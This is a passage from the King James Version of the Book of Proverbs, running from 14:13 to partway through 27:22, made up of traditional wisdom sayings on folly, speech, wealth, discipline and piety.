+ +14:13 Even in laughter the heart is sorrowful; and the end of that +mirth is heaviness. + +14:14 The backslider in heart shall be filled with his own ways: and a +good man shall be satisfied from himself. + +14:15 The simple believeth every word: but the prudent man looketh +well to his going. + +14:16 A wise man feareth, and departeth from evil: but the fool +rageth, and is confident. + +14:17 He that is soon angry dealeth foolishly: and a man of wicked +devices is hated. + +14:18 The simple inherit folly: but the prudent are crowned with +knowledge. + +14:19 The evil bow before the good; and the wicked at the gates of the +righteous. + +14:20 The poor is hated even of his own neighbour: but the rich hath +many friends. + +14:21 He that despiseth his neighbour sinneth: but he that hath mercy +on the poor, happy is he. + +14:22 Do they not err that devise evil? but mercy and truth shall be +to them that devise good. + +14:23 In all labour there is profit: but the talk of the lips tendeth +only to penury. + +14:24 The crown of the wise is their riches: but the foolishness of +fools is folly. + +14:25 A true witness delivereth souls: but a deceitful witness +speaketh lies. + +14:26 In the fear of the LORD is strong confidence: and his children +shall have a place of refuge. + +14:27 The fear of the LORD is a fountain of life, to depart from the +snares of death. + +14:28 In the multitude of people is the king's honour: but in the want +of people is the destruction of the prince. + +14:29 He that is slow to wrath is of great understanding: but he that +is hasty of spirit exalteth folly. + +14:30 A sound heart is the life of the flesh: but envy the rottenness +of the bones. + +14:31 He that oppresseth the poor reproacheth his Maker: but he that +honoureth him hath mercy on the poor. + +14:32 The wicked is driven away in his wickedness: but the righteous +hath hope in his death. + +14:33 Wisdom resteth in the heart of him that hath understanding: but +that which is in the midst of fools is made known. + +14:34 Righteousness exalteth a nation: but sin is a reproach to any +people. + +14:35 The king's favour is toward a wise servant: but his wrath is +against him that causeth shame. + +15:1 A soft answer turneth away wrath: but grievous words stir up +anger. + +15:2 The tongue of the wise useth knowledge aright: but the mouth of +fools poureth out foolishness. + +15:3 The eyes of the LORD are in every place, beholding the evil and +the good. + +15:4 A wholesome tongue is a tree of life: but perverseness therein is +a breach in the spirit. + +15:5 A fool despiseth his father's instruction: but he that regardeth +reproof is prudent. + +15:6 In the house of the righteous is much treasure: but in the +revenues of the wicked is trouble. + +15:7 The lips of the wise disperse knowledge: but the heart of the +foolish doeth not so. + +15:8 The sacrifice of the wicked is an abomination to the LORD: but +the prayer of the upright is his delight. + +15:9 The way of the wicked is an abomination unto the LORD: but he +loveth him that followeth after righteousness. + +15:10 Correction is grievous unto him that forsaketh the way: and he +that hateth reproof shall die. + +15:11 Hell and destruction are before the LORD: how much more then the +hearts of the children of men? 15:12 A scorner loveth not one that +reproveth him: neither will he go unto the wise. + +15:13 A merry heart maketh a cheerful countenance: but by sorrow of +the heart the spirit is broken. + +15:14 The heart of him that hath understanding seeketh knowledge: but +the mouth of fools feedeth on foolishness. + +15:15 All the days of the afflicted are evil: but he that is of a +merry heart hath a continual feast. + +15:16 Better is little with the fear of the LORD than great treasure +and trouble therewith. + +15:17 Better is a dinner of herbs where love is, than a stalled ox and +hatred therewith. + +15:18 A wrathful man stirreth up strife: but he that is slow to anger +appeaseth strife. + +15:19 The way of the slothful man is as an hedge of thorns: but the +way of the righteous is made plain. + +15:20 A wise son maketh a glad father: but a foolish man despiseth his +mother. + +15:21 Folly is joy to him that is destitute of wisdom: but a man of +understanding walketh uprightly. + +15:22 Without counsel purposes are disappointed: but in the multitude +of counsellors they are established. + +15:23 A man hath joy by the answer of his mouth: and a word spoken in +due season, how good is it! 15:24 The way of life is above to the +wise, that he may depart from hell beneath. + +15:25 The LORD will destroy the house of the proud: but he will +establish the border of the widow. + +15:26 The thoughts of the wicked are an abomination to the LORD: but +the words of the pure are pleasant words. + +15:27 He that is greedy of gain troubleth his own house; but he that +hateth gifts shall live. + +15:28 The heart of the righteous studieth to answer: but the mouth of +the wicked poureth out evil things. + +15:29 The LORD is far from the wicked: but he heareth the prayer of +the righteous. + +15:30 The light of the eyes rejoiceth the heart: and a good report +maketh the bones fat. + +15:31 The ear that heareth the reproof of life abideth among the wise. + +15:32 He that refuseth instruction despiseth his own soul: but he that +heareth reproof getteth understanding. + +15:33 The fear of the LORD is the instruction of wisdom; and before +honour is humility. + +16:1 The preparations of the heart in man, and the answer of the +tongue, is from the LORD. + +16:2 All the ways of a man are clean in his own eyes; but the LORD +weigheth the spirits. + +16:3 Commit thy works unto the LORD, and thy thoughts shall be +established. + +16:4 The LORD hath made all things for himself: yea, even the wicked +for the day of evil. + +16:5 Every one that is proud in heart is an abomination to the LORD: +though hand join in hand, he shall not be unpunished. + +16:6 By mercy and truth iniquity is purged: and by the fear of the +LORD men depart from evil. + +16:7 When a man's ways please the LORD, he maketh even his enemies to +be at peace with him. + +16:8 Better is a little with righteousness than great revenues without +right. + +16:9 A man's heart deviseth his way: but the LORD directeth his steps. + +16:10 A divine sentence is in the lips of the king: his mouth +transgresseth not in judgment. + +16:11 A just weight and balance are the LORD's: all the weights of the +bag are his work. + +16:12 It is an abomination to kings to commit wickedness: for the +throne is established by righteousness. + +16:13 Righteous lips are the delight of kings; and they love him that +speaketh right. + +16:14 The wrath of a king is as messengers of death: but a wise man +will pacify it. + +16:15 In the light of the king's countenance is life; and his favour +is as a cloud of the latter rain. + +16:16 How much better is it to get wisdom than gold! and to get +understanding rather to be chosen than silver! 16:17 The highway of +the upright is to depart from evil: he that keepeth his way preserveth +his soul. + +16:18 Pride goeth before destruction, and an haughty spirit before a +fall. + +16:19 Better it is to be of an humble spirit with the lowly, than to +divide the spoil with the proud. + +16:20 He that handleth a matter wisely shall find good: and whoso +trusteth in the LORD, happy is he. + +16:21 The wise in heart shall be called prudent: and the sweetness of +the lips increaseth learning. + +16:22 Understanding is a wellspring of life unto him that hath it: but +the instruction of fools is folly. + +16:23 The heart of the wise teacheth his mouth, and addeth learning to +his lips. + +16:24 Pleasant words are as an honeycomb, sweet to the soul, and +health to the bones. + +16:25 There is a way that seemeth right unto a man, but the end +thereof are the ways of death. + +16:26 He that laboureth laboureth for himself; for his mouth craveth +it of him. + +16:27 An ungodly man diggeth up evil: and in his lips there is as a +burning fire. + +16:28 A froward man soweth strife: and a whisperer separateth chief +friends. + +16:29 A violent man enticeth his neighbour, and leadeth him into the +way that is not good. + +16:30 He shutteth his eyes to devise froward things: moving his lips +he bringeth evil to pass. + +16:31 The hoary head is a crown of glory, if it be found in the way of +righteousness. + +16:32 He that is slow to anger is better than the mighty; and he that +ruleth his spirit than he that taketh a city. + +16:33 The lot is cast into the lap; but the whole disposing thereof is +of the LORD. + +17:1 Better is a dry morsel, and quietness therewith, than an house +full of sacrifices with strife. + +17:2 A wise servant shall have rule over a son that causeth shame, and +shall have part of the inheritance among the brethren. + +17:3 The fining pot is for silver, and the furnace for gold: but the +LORD trieth the hearts. + +17:4 A wicked doer giveth heed to false lips; and a liar giveth ear to +a naughty tongue. + +17:5 Whoso mocketh the poor reproacheth his Maker: and he that is glad +at calamities shall not be unpunished. + +17:6 Children's children are the crown of old men; and the glory of +children are their fathers. + +17:7 Excellent speech becometh not a fool: much less do lying lips a +prince. + +17:8 A gift is as a precious stone in the eyes of him that hath it: +whithersoever it turneth, it prospereth. + +17:9 He that covereth a transgression seeketh love; but he that +repeateth a matter separateth very friends. + +17:10 A reproof entereth more into a wise man than an hundred stripes +into a fool. + +17:11 An evil man seeketh only rebellion: therefore a cruel messenger +shall be sent against him. + +17:12 Let a bear robbed of her whelps meet a man, rather than a fool +in his folly. + +17:13 Whoso rewardeth evil for good, evil shall not depart from his +house. + +17:14 The beginning of strife is as when one letteth out water: +therefore leave off contention, before it be meddled with. + +17:15 He that justifieth the wicked, and he that condemneth the just, +even they both are abomination to the LORD. + +17:16 Wherefore is there a price in the hand of a fool to get wisdom, +seeing he hath no heart to it? 17:17 A friend loveth at all times, +and a brother is born for adversity. + +17:18 A man void of understanding striketh hands, and becometh surety +in the presence of his friend. + +17:19 He loveth transgression that loveth strife: and he that exalteth +his gate seeketh destruction. + +17:20 He that hath a froward heart findeth no good: and he that hath a +perverse tongue falleth into mischief. + +17:21 He that begetteth a fool doeth it to his sorrow: and the father +of a fool hath no joy. + +17:22 A merry heart doeth good like a medicine: but a broken spirit +drieth the bones. + +17:23 A wicked man taketh a gift out of the bosom to pervert the ways +of judgment. + +17:24 Wisdom is before him that hath understanding; but the eyes of a +fool are in the ends of the earth. + +17:25 A foolish son is a grief to his father, and bitterness to her +that bare him. + +17:26 Also to punish the just is not good, nor to strike princes for +equity. + +17:27 He that hath knowledge spareth his words: and a man of +understanding is of an excellent spirit. + +17:28 Even a fool, when he holdeth his peace, is counted wise: and he +that shutteth his lips is esteemed a man of understanding. + +18:1 Through desire a man, having separated himself, seeketh and +intermeddleth with all wisdom. + +18:2 A fool hath no delight in understanding, but that his heart may +discover itself. + +18:3 When the wicked cometh, then cometh also contempt, and with +ignominy reproach. + +18:4 The words of a man's mouth are as deep waters, and the wellspring +of wisdom as a flowing brook. + +18:5 It is not good to accept the person of the wicked, to overthrow +the righteous in judgment. + +18:6 A fool's lips enter into contention, and his mouth calleth for +strokes. + +18:7 A fool's mouth is his destruction, and his lips are the snare of +his soul. + +18:8 The words of a talebearer are as wounds, and they go down into +the innermost parts of the belly. + +18:9 He also that is slothful in his work is brother to him that is a +great waster. + +18:10 The name of the LORD is a strong tower: the righteous runneth +into it, and is safe. + +18:11 The rich man's wealth is his strong city, and as an high wall in +his own conceit. + +18:12 Before destruction the heart of man is haughty, and before +honour is humility. + +18:13 He that answereth a matter before he heareth it, it is folly and +shame unto him. + +18:14 The spirit of a man will sustain his infirmity; but a wounded +spirit who can bear? 18:15 The heart of the prudent getteth +knowledge; and the ear of the wise seeketh knowledge. + +18:16 A man's gift maketh room for him, and bringeth him before great +men. + +18:17 He that is first in his own cause seemeth just; but his +neighbour cometh and searcheth him. + +18:18 The lot causeth contentions to cease, and parteth between the +mighty. + +18:19 A brother offended is harder to be won than a strong city: and +their contentions are like the bars of a castle. + +18:20 A man's belly shall be satisfied with the fruit of his mouth; +and with the increase of his lips shall he be filled. + +18:21 Death and life are in the power of the tongue: and they that +love it shall eat the fruit thereof. + +18:22 Whoso findeth a wife findeth a good thing, and obtaineth favour +of the LORD. + +18:23 The poor useth intreaties; but the rich answereth roughly. + +18:24 A man that hath friends must shew himself friendly: and there is +a friend that sticketh closer than a brother. + +19:1 Better is the poor that walketh in his integrity, than he that is +perverse in his lips, and is a fool. + +19:2 Also, that the soul be without knowledge, it is not good; and he +that hasteth with his feet sinneth. + +19:3 The foolishness of man perverteth his way: and his heart fretteth +against the LORD. + +19:4 Wealth maketh many friends; but the poor is separated from his +neighbour. + +19:5 A false witness shall not be unpunished, and he that speaketh +lies shall not escape. + +19:6 Many will intreat the favour of the prince: and every man is a +friend to him that giveth gifts. + +19:7 All the brethren of the poor do hate him: how much more do his +friends go far from him? he pursueth them with words, yet they are +wanting to him. + +19:8 He that getteth wisdom loveth his own soul: he that keepeth +understanding shall find good. + +19:9 A false witness shall not be unpunished, and he that speaketh +lies shall perish. + +19:10 Delight is not seemly for a fool; much less for a servant to +have rule over princes. + +19:11 The discretion of a man deferreth his anger; and it is his glory +to pass over a transgression. + +19:12 The king's wrath is as the roaring of a lion; but his favour is +as dew upon the grass. + +19:13 A foolish son is the calamity of his father: and the contentions +of a wife are a continual dropping. + +19:14 House and riches are the inheritance of fathers: and a prudent +wife is from the LORD. + +19:15 Slothfulness casteth into a deep sleep; and an idle soul shall +suffer hunger. + +19:16 He that keepeth the commandment keepeth his own soul; but he +that despiseth his ways shall die. + +19:17 He that hath pity upon the poor lendeth unto the LORD; and that +which he hath given will he pay him again. + +19:18 Chasten thy son while there is hope, and let not thy soul spare +for his crying. + +19:19 A man of great wrath shall suffer punishment: for if thou +deliver him, yet thou must do it again. + +19:20 Hear counsel, and receive instruction, that thou mayest be wise +in thy latter end. + +19:21 There are many devices in a man's heart; nevertheless the +counsel of the LORD, that shall stand. + +19:22 The desire of a man is his kindness: and a poor man is better +than a liar. + +19:23 The fear of the LORD tendeth to life: and he that hath it shall +abide satisfied; he shall not be visited with evil. + +19:24 A slothful man hideth his hand in his bosom, and will not so +much as bring it to his mouth again. + +19:25 Smite a scorner, and the simple will beware: and reprove one +that hath understanding, and he will understand knowledge. + +19:26 He that wasteth his father, and chaseth away his mother, is a +son that causeth shame, and bringeth reproach. + +19:27 Cease, my son, to hear the instruction that causeth to err from +the words of knowledge. + +19:28 An ungodly witness scorneth judgment: and the mouth of the +wicked devoureth iniquity. + +19:29 Judgments are prepared for scorners, and stripes for the back of +fools. + +20:1 Wine is a mocker, strong drink is raging: and whosoever is +deceived thereby is not wise. + +20:2 The fear of a king is as the roaring of a lion: whoso provoketh +him to anger sinneth against his own soul. + +20:3 It is an honour for a man to cease from strife: but every fool +will be meddling. + +20:4 The sluggard will not plow by reason of the cold; therefore shall +he beg in harvest, and have nothing. + +20:5 Counsel in the heart of man is like deep water; but a man of +understanding will draw it out. + +20:6 Most men will proclaim every one his own goodness: but a faithful +man who can find? 20:7 The just man walketh in his integrity: his +children are blessed after him. + +20:8 A king that sitteth in the throne of judgment scattereth away all +evil with his eyes. + +20:9 Who can say, I have made my heart clean, I am pure from my sin? +20:10 Divers weights, and divers measures, both of them are alike +abomination to the LORD. + +20:11 Even a child is known by his doings, whether his work be pure, +and whether it be right. + +20:12 The hearing ear, and the seeing eye, the LORD hath made even +both of them. + +20:13 Love not sleep, lest thou come to poverty; open thine eyes, and +thou shalt be satisfied with bread. + +20:14 It is naught, it is naught, saith the buyer: but when he is gone +his way, then he boasteth. + +20:15 There is gold, and a multitude of rubies: but the lips of +knowledge are a precious jewel. + +20:16 Take his garment that is surety for a stranger: and take a +pledge of him for a strange woman. + +20:17 Bread of deceit is sweet to a man; but afterwards his mouth +shall be filled with gravel. + +20:18 Every purpose is established by counsel: and with good advice +make war. + +20:19 He that goeth about as a talebearer revealeth secrets: therefore +meddle not with him that flattereth with his lips. + +20:20 Whoso curseth his father or his mother, his lamp shall be put +out in obscure darkness. + +20:21 An inheritance may be gotten hastily at the beginning; but the +end thereof shall not be blessed. + +20:22 Say not thou, I will recompense evil; but wait on the LORD, and +he shall save thee. + +20:23 Divers weights are an abomination unto the LORD; and a false +balance is not good. + +20:24 Man's goings are of the LORD; how can a man then understand his +own way? 20:25 It is a snare to the man who devoureth that which is +holy, and after vows to make enquiry. + +20:26 A wise king scattereth the wicked, and bringeth the wheel over +them. + +20:27 The spirit of man is the candle of the LORD, searching all the +inward parts of the belly. + +20:28 Mercy and truth preserve the king: and his throne is upholden by +mercy. + +20:29 The glory of young men is their strength: and the beauty of old +men is the grey head. + +20:30 The blueness of a wound cleanseth away evil: so do stripes the +inward parts of the belly. + +21:1 The king's heart is in the hand of the LORD, as the rivers of +water: he turneth it whithersoever he will. + +21:2 Every way of a man is right in his own eyes: but the LORD +pondereth the hearts. + +21:3 To do justice and judgment is more acceptable to the LORD than +sacrifice. + +21:4 An high look, and a proud heart, and the plowing of the wicked, +is sin. + +21:5 The thoughts of the diligent tend only to plenteousness; but of +every one that is hasty only to want. + +21:6 The getting of treasures by a lying tongue is a vanity tossed to +and fro of them that seek death. + +21:7 The robbery of the wicked shall destroy them; because they refuse +to do judgment. + +21:8 The way of man is froward and strange: but as for the pure, his +work is right. + +21:9 It is better to dwell in a corner of the housetop, than with a +brawling woman in a wide house. + +21:10 The soul of the wicked desireth evil: his neighbour findeth no +favour in his eyes. + +21:11 When the scorner is punished, the simple is made wise: and when +the wise is instructed, he receiveth knowledge. + +21:12 The righteous man wisely considereth the house of the wicked: +but God overthroweth the wicked for their wickedness. + +21:13 Whoso stoppeth his ears at the cry of the poor, he also shall +cry himself, but shall not be heard. + +21:14 A gift in secret pacifieth anger: and a reward in the bosom +strong wrath. + +21:15 It is joy to the just to do judgment: but destruction shall be +to the workers of iniquity. + +21:16 The man that wandereth out of the way of understanding shall +remain in the congregation of the dead. + +21:17 He that loveth pleasure shall be a poor man: he that loveth wine +and oil shall not be rich. + +21:18 The wicked shall be a ransom for the righteous, and the +transgressor for the upright. + +21:19 It is better to dwell in the wilderness, than with a contentious +and an angry woman. + +21:20 There is treasure to be desired and oil in the dwelling of the +wise; but a foolish man spendeth it up. + +21:21 He that followeth after righteousness and mercy findeth life, +righteousness, and honour. + +21:22 A wise man scaleth the city of the mighty, and casteth down the +strength of the confidence thereof. + +21:23 Whoso keepeth his mouth and his tongue keepeth his soul from +troubles. + +21:24 Proud and haughty scorner is his name, who dealeth in proud +wrath. + +21:25 The desire of the slothful killeth him; for his hands refuse to +labour. + +21:26 He coveteth greedily all the day long: but the righteous giveth +and spareth not. + +21:27 The sacrifice of the wicked is abomination: how much more, when +he bringeth it with a wicked mind? 21:28 A false witness shall +perish: but the man that heareth speaketh constantly. + +21:29 A wicked man hardeneth his face: but as for the upright, he +directeth his way. + +21:30 There is no wisdom nor understanding nor counsel against the +LORD. + +21:31 The horse is prepared against the day of battle: but safety is +of the LORD. + +22:1 A GOOD name is rather to be chosen than great riches, and loving +favour rather than silver and gold. + +22:2 The rich and poor meet together: the LORD is the maker of them +all. + +22:3 A prudent man foreseeth the evil, and hideth himself: but the +simple pass on, and are punished. + +22:4 By humility and the fear of the LORD are riches, and honour, and +life. + +22:5 Thorns and snares are in the way of the froward: he that doth +keep his soul shall be far from them. + +22:6 Train up a child in the way he should go: and when he is old, he +will not depart from it. + +22:7 The rich ruleth over the poor, and the borrower is servant to the +lender. + +22:8 He that soweth iniquity shall reap vanity: and the rod of his +anger shall fail. + +22:9 He that hath a bountiful eye shall be blessed; for he giveth of +his bread to the poor. + +22:10 Cast out the scorner, and contention shall go out; yea, strife +and reproach shall cease. + +22:11 He that loveth pureness of heart, for the grace of his lips the +king shall be his friend. + +22:12 The eyes of the LORD preserve knowledge, and he overthroweth the +words of the transgressor. + +22:13 The slothful man saith, There is a lion without, I shall be +slain in the streets. + +22:14 The mouth of strange women is a deep pit: he that is abhorred of +the LORD shall fall therein. + +22:15 Foolishness is bound in the heart of a child; but the rod of +correction shall drive it far from him. + +22:16 He that oppresseth the poor to increase his riches, and he that +giveth to the rich, shall surely come to want. + +22:17 Bow down thine ear, and hear the words of the wise, and apply +thine heart unto my knowledge. + +22:18 For it is a pleasant thing if thou keep them within thee; they +shall withal be fitted in thy lips. + +22:19 That thy trust may be in the LORD, I have made known to thee +this day, even to thee. + +22:20 Have not I written to thee excellent things in counsels and +knowledge, 22:21 That I might make thee know the certainty of the +words of truth; that thou mightest answer the words of truth to them +that send unto thee? 22:22 Rob not the poor, because he is poor: +neither oppress the afflicted in the gate: 22:23 For the LORD will +plead their cause, and spoil the soul of those that spoiled them. + +22:24 Make no friendship with an angry man; and with a furious man +thou shalt not go: 22:25 Lest thou learn his ways, and get a snare to +thy soul. + +22:26 Be not thou one of them that strike hands, or of them that are +sureties for debts. + +22:27 If thou hast nothing to pay, why should he take away thy bed +from under thee? 22:28 Remove not the ancient landmark, which thy +fathers have set. + +22:29 Seest thou a man diligent in his business? he shall stand before +kings; he shall not stand before mean men. + +23:1 When thou sittest to eat with a ruler, consider diligently what +is before thee: 23:2 And put a knife to thy throat, if thou be a man +given to appetite. + +23:3 Be not desirous of his dainties: for they are deceitful meat. + +23:4 Labour not to be rich: cease from thine own wisdom. + +23:5 Wilt thou set thine eyes upon that which is not? for riches +certainly make themselves wings; they fly away as an eagle toward +heaven. + +23:6 Eat thou not the bread of him that hath an evil eye, neither +desire thou his dainty meats: 23:7 For as he thinketh in his heart, so +is he: Eat and drink, saith he to thee; but his heart is not with +thee. + +23:8 The morsel which thou hast eaten shalt thou vomit up, and lose +thy sweet words. + +23:9 Speak not in the ears of a fool: for he will despise the wisdom +of thy words. + +23:10 Remove not the old landmark; and enter not into the fields of +the fatherless: 23:11 For their redeemer is mighty; he shall plead +their cause with thee. + +23:12 Apply thine heart unto instruction, and thine ears to the words +of knowledge. + +23:13 Withhold not correction from the child: for if thou beatest him +with the rod, he shall not die. + +23:14 Thou shalt beat him with the rod, and shalt deliver his soul +from hell. + +23:15 My son, if thine heart be wise, my heart shall rejoice, even +mine. + +23:16 Yea, my reins shall rejoice, when thy lips speak right things. + +23:17 Let not thine heart envy sinners: but be thou in the fear of the +LORD all the day long. + +23:18 For surely there is an end; and thine expectation shall not be +cut off. + +23:19 Hear thou, my son, and be wise, and guide thine heart in the +way. + +23:20 Be not among winebibbers; among riotous eaters of flesh: 23:21 +For the drunkard and the glutton shall come to poverty: and drowsiness +shall clothe a man with rags. + +23:22 Hearken unto thy father that begat thee, and despise not thy +mother when she is old. + +23:23 Buy the truth, and sell it not; also wisdom, and instruction, +and understanding. + +23:24 The father of the righteous shall greatly rejoice: and he that +begetteth a wise child shall have joy of him. + +23:25 Thy father and thy mother shall be glad, and she that bare thee +shall rejoice. + +23:26 My son, give me thine heart, and let thine eyes observe my ways. + +23:27 For a whore is a deep ditch; and a strange woman is a narrow +pit. + +23:28 She also lieth in wait as for a prey, and increaseth the +transgressors among men. + +23:29 Who hath woe? who hath sorrow? who hath contentions? who hath +babbling? who hath wounds without cause? who hath redness of eyes? +23:30 They that tarry long at the wine; they that go to seek mixed +wine. + +23:31 Look not thou upon the wine when it is red, when it giveth his +colour in the cup, when it moveth itself aright. + +23:32 At the last it biteth like a serpent, and stingeth like an +adder. + +23:33 Thine eyes shall behold strange women, and thine heart shall +utter perverse things. + +23:34 Yea, thou shalt be as he that lieth down in the midst of the +sea, or as he that lieth upon the top of a mast. + +23:35 They have stricken me, shalt thou say, and I was not sick; they +have beaten me, and I felt it not: when shall I awake? I will seek it +yet again. + +24:1 Be not thou envious against evil men, neither desire to be with +them. + +24:2 For their heart studieth destruction, and their lips talk of +mischief. + +24:3 Through wisdom is an house builded; and by understanding it is +established: 24:4 And by knowledge shall the chambers be filled with +all precious and pleasant riches. + +24:5 A wise man is strong; yea, a man of knowledge increaseth +strength. + +24:6 For by wise counsel thou shalt make thy war: and in multitude of +counsellors there is safety. + +24:7 Wisdom is too high for a fool: he openeth not his mouth in the +gate. + +24:8 He that deviseth to do evil shall be called a mischievous person. + +24:9 The thought of foolishness is sin: and the scorner is an +abomination to men. + +24:10 If thou faint in the day of adversity, thy strength is small. + +24:11 If thou forbear to deliver them that are drawn unto death, and +those that are ready to be slain; 24:12 If thou sayest, Behold, we +knew it not; doth not he that pondereth the heart consider it? and he +that keepeth thy soul, doth not he know it? and shall not he render to +every man according to his works? 24:13 My son, eat thou honey, +because it is good; and the honeycomb, which is sweet to thy taste: +24:14 So shall the knowledge of wisdom be unto thy soul: when thou +hast found it, then there shall be a reward, and thy expectation shall +not be cut off. + +24:15 Lay not wait, O wicked man, against the dwelling of the +righteous; spoil not his resting place: 24:16 For a just man falleth +seven times, and riseth up again: but the wicked shall fall into +mischief. + +24:17 Rejoice not when thine enemy falleth, and let not thine heart be +glad when he stumbleth: 24:18 Lest the LORD see it, and it displease +him, and he turn away his wrath from him. + +24:19 Fret not thyself because of evil men, neither be thou envious at +the wicked: 24:20 For there shall be no reward to the evil man; the +candle of the wicked shall be put out. + +24:21 My son, fear thou the LORD and the king: and meddle not with +them that are given to change: 24:22 For their calamity shall rise +suddenly; and who knoweth the ruin of them both? 24:23 These things +also belong to the wise. It is not good to have respect of persons in +judgment. + +24:24 He that saith unto the wicked, Thou are righteous; him shall the +people curse, nations shall abhor him: 24:25 But to them that rebuke +him shall be delight, and a good blessing shall come upon them. + +24:26 Every man shall kiss his lips that giveth a right answer. + +24:27 Prepare thy work without, and make it fit for thyself in the +field; and afterwards build thine house. + +24:28 Be not a witness against thy neighbour without cause; and +deceive not with thy lips. + +24:29 Say not, I will do so to him as he hath done to me: I will +render to the man according to his work. + +24:30 I went by the field of the slothful, and by the vineyard of the +man void of understanding; 24:31 And, lo, it was all grown over with +thorns, and nettles had covered the face thereof, and the stone wall +thereof was broken down. + +24:32 Then I saw, and considered it well: I looked upon it, and +received instruction. + +24:33 Yet a little sleep, a little slumber, a little folding of the +hands to sleep: 24:34 So shall thy poverty come as one that +travelleth; and thy want as an armed man. + +25:1 These are also proverbs of Solomon, which the men of Hezekiah +king of Judah copied out. + +25:2 It is the glory of God to conceal a thing: but the honour of +kings is to search out a matter. + +25:3 The heaven for height, and the earth for depth, and the heart of +kings is unsearchable. + +25:4 Take away the dross from the silver, and there shall come forth a +vessel for the finer. + +25:5 Take away the wicked from before the king, and his throne shall +be established in righteousness. + +25:6 Put not forth thyself in the presence of the king, and stand not +in the place of great men: 25:7 For better it is that it be said unto +thee, Come up hither; than that thou shouldest be put lower in the +presence of the prince whom thine eyes have seen. + +25:8 Go not forth hastily to strive, lest thou know not what to do in +the end thereof, when thy neighbour hath put thee to shame. + +25:9 Debate thy cause with thy neighbour himself; and discover not a +secret to another: 25:10 Lest he that heareth it put thee to shame, +and thine infamy turn not away. + +25:11 A word fitly spoken is like apples of gold in pictures of +silver. + +25:12 As an earring of gold, and an ornament of fine gold, so is a +wise reprover upon an obedient ear. + +25:13 As the cold of snow in the time of harvest, so is a faithful +messenger to them that send him: for he refresheth the soul of his +masters. + +25:14 Whoso boasteth himself of a false gift is like clouds and wind +without rain. + +25:15 By long forbearing is a prince persuaded, and a soft tongue +breaketh the bone. + +25:16 Hast thou found honey? eat so much as is sufficient for thee, +lest thou be filled therewith, and vomit it. + +25:17 Withdraw thy foot from thy neighbour's house; lest he be weary +of thee, and so hate thee. + +25:18 A man that beareth false witness against his neighbour is a +maul, and a sword, and a sharp arrow. + +25:19 Confidence in an unfaithful man in time of trouble is like a +broken tooth, and a foot out of joint. + +25:20 As he that taketh away a garment in cold weather, and as vinegar +upon nitre, so is he that singeth songs to an heavy heart. + +25:21 If thine enemy be hungry, give him bread to eat; and if he be +thirsty, give him water to drink: 25:22 For thou shalt heap coals of +fire upon his head, and the LORD shall reward thee. + +25:23 The north wind driveth away rain: so doth an angry countenance a +backbiting tongue. + +25:24 It is better to dwell in the corner of the housetop, than with a +brawling woman and in a wide house. + +25:25 As cold waters to a thirsty soul, so is good news from a far +country. + +25:26 A righteous man falling down before the wicked is as a troubled +fountain, and a corrupt spring. + +25:27 It is not good to eat much honey: so for men to search their own +glory is not glory. + +25:28 He that hath no rule over his own spirit is like a city that is +broken down, and without walls. + +26:1 As snow in summer, and as rain in harvest, so honour is not +seemly for a fool. + +26:2 As the bird by wandering, as the swallow by flying, so the curse +causeless shall not come. + +26:3 A whip for the horse, a bridle for the ass, and a rod for the +fool's back. + +26:4 Answer not a fool according to his folly, lest thou also be like +unto him. + +26:5 Answer a fool according to his folly, lest he be wise in his own +conceit. + +26:6 He that sendeth a message by the hand of a fool cutteth off the +feet, and drinketh damage. + +26:7 The legs of the lame are not equal: so is a parable in the mouth +of fools. + +26:8 As he that bindeth a stone in a sling, so is he that giveth +honour to a fool. + +26:9 As a thorn goeth up into the hand of a drunkard, so is a parable +in the mouths of fools. + +26:10 The great God that formed all things both rewardeth the fool, +and rewardeth transgressors. + +26:11 As a dog returneth to his vomit, so a fool returneth to his +folly. + +26:12 Seest thou a man wise in his own conceit? there is more hope of +a fool than of him. + +26:13 The slothful man saith, There is a lion in the way; a lion is in +the streets. + +26:14 As the door turneth upon his hinges, so doth the slothful upon +his bed. + +26:15 The slothful hideth his hand in his bosom; it grieveth him to +bring it again to his mouth. + +26:16 The sluggard is wiser in his own conceit than seven men that can +render a reason. + +26:17 He that passeth by, and meddleth with strife belonging not to +him, is like one that taketh a dog by the ears. + +26:18 As a mad man who casteth firebrands, arrows, and death, 26:19 So +is the man that deceiveth his neighbour, and saith, Am not I in sport? +26:20 Where no wood is, there the fire goeth out: so where there is no +talebearer, the strife ceaseth. + +26:21 As coals are to burning coals, and wood to fire; so is a +contentious man to kindle strife. + +26:22 The words of a talebearer are as wounds, and they go down into +the innermost parts of the belly. + +26:23 Burning lips and a wicked heart are like a potsherd covered with +silver dross. + +26:24 He that hateth dissembleth with his lips, and layeth up deceit +within him; 26:25 When he speaketh fair, believe him not: for there +are seven abominations in his heart. + +26:26 Whose hatred is covered by deceit, his wickedness shall be +shewed before the whole congregation. + +26:27 Whoso diggeth a pit shall fall therein: and he that rolleth a +stone, it will return upon him. + +26:28 A lying tongue hateth those that are afflicted by it; and a +flattering mouth worketh ruin. + +27:1 Boast not thyself of to morrow; for thou knowest not what a day +may bring forth. + +27:2 Let another man praise thee, and not thine own mouth; a stranger, +and not thine own lips. + +27:3 A stone is heavy, and the sand weighty; but a fool's wrath is +heavier than them both. + +27:4 Wrath is cruel, and anger is outrageous; but who is able to stand +before envy? 27:5 Open rebuke is better than secret love. + +27:6 Faithful are the wounds of a friend; but the kisses of an enemy +are deceitful. + +27:7 The full soul loatheth an honeycomb; but to the hungry soul every +bitter thing is sweet. + +27:8 As a bird that wandereth from her nest, so is a man that +wandereth from his place. + +27:9 Ointment and perfume rejoice the heart: so doth the sweetness of +a man's friend by hearty counsel. + +27:10 Thine own friend, and thy father's friend, forsake not; neither +go into thy brother's house in the day of thy calamity: for better is +a neighbour that is near than a brother far off. + +27:11 My son, be wise, and make my heart glad, that I may answer him +that reproacheth me. + +27:12 A prudent man foreseeth the evil, and hideth himself; but the +simple pass on, and are punished. + +27:13 Take his garment that is surety for a stranger, and take a +pledge of him for a strange woman. + +27:14 He that blesseth his friend with a loud voice, rising early in +the morning, it shall be counted a curse to him. + +27:15 A continual dropping in a very rainy day and a contentious woman +are alike. + +27:16 Whosoever hideth her hideth the wind, and the ointment of his +right hand, which bewrayeth itself. + +27:17 Iron sharpeneth iron; so a man sharpeneth the countenance of his +friend. + +27:18 Whoso keepeth the fig tree shall eat the fruit thereof: so he +that waiteth on his master shall be honoured. + +27:19 As in water face answereth to face, so the heart of man to man. + +27:20 Hell and destruction are never full; so the eyes of man are +never satisfied. + +27:21 As the fining pot for silver, and the furnace for gold; so is a +man to his praise. + +27:22 Though thou shouldest bray a fool in a mortar among wheat with a +pestle, yet will not his 